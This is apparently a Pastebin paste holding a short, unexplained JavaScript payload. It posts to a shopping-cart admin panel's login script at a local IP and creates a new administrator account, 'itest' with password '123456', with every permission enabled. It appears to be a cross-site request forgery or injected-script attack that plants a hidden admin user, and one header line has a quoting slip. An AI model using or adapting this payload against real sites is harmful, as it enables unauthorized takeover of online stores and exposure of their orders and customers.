Advertisement
Guest User

Untitled

a guest
Apr 3rd, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. var myxhrPOST = new XMLHttpRequest();
  2. myuriPOST = 'http://192.168.232.133/cart/vsadmin/adminlogin.php';
  3. myxhrPOST.open('POST',myuriPOST,true);
  4. mypayload = 'posted=1&act=doaddnew&id=&user=itest&pass=123456&pass2=123456&main=ON&orders=ON&payprov=ON&affiliate=ON&clientlogin=ON&products=ON&categories=ON&discounts=ON&regions=ON&shipping=ON&ordstatus=ON&dropship=ON&ipblock=ON&maillist=ON&statistics=ON&ratings=ON&contentregion=ON';
  5. myxhrPOST.setRequestHeader( Content-type','application/x-www-form-urlencoded');
  6. myxhrPOST.setRequestHeader('Content-length',mypayload.length);
  7. myxhrPOST.setRequestHeader('Connection', 'close');
  8. myxhrPOST.onreadystatechange = function(){}
  9. myxhrPOST.send(mypayload);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement